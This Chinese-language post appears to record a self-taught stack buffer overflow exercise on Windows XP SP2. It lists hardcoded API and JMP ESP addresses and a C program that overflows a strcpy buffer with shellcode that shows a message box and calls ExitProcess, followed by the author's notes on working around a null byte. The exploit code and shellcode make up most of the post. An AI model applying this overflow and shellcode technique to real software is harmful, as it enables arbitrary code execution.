环境 : WindowsXP SP2 with patch to 10/10/2007
Visual Studio 2005 SP1
MessageBoxA 入口地址:0x77D505FC
ExitProcess入口地址:0x7C81CDDA
JMP ESP : 0x7FFA4512
程序代码:
#include
"stdafx.h"
#include
<string.h>
#include
<windows.h>
char largebuff[] =
"123456789012345678901234"
"\x12\x45\xfa\x7f"
"\x55\x8b\xec\x33\xff\x57\xc6\x45\xfc\x48\xc6\x45\xfd\x69\xc6\x45\xfe\x21\xba\xfc\x05\xd5\x77\x52\x57\x8d\x55\xfc\x52\x52\x57\xff\x55\xf8"
"\x55\x8b\xec\x33\xff\xba\xda\xcd\x81\x7c\x52\x57\xff\x55\xfc";
void mycopy(char* inbuff)
{
char smallbuff[17];
strcpy (smallbuff, largebuff);
}
int main (void)
{
HINSTANCE h = LoadLibrary(_T("user32"));
mycopy(largebuff);
FreeLibrary(h);
}
说一下ExitProcess那东西,这个我实在是不会搞啊,我本来用了一段反汇编的代码制作的ShellCode,如下
"\x8b\xf4\x6a\x00\xff\x15\x08\x82\x41\x00\x3b\xf4\xe8\x47\xfd\xff\xff"
单独测试ShellCode的时候是没问题的,但是到了挂漏洞代码的时候发现其中有字符串的结束符\x00,没办法最终从这段代码的汇编中看到地址0x00418208中存放的ExitProcess的入口地址,代换了已经失效的入口地址才成功的。至于那段调用ExitProcess的ASM我就实在是不明白了…………….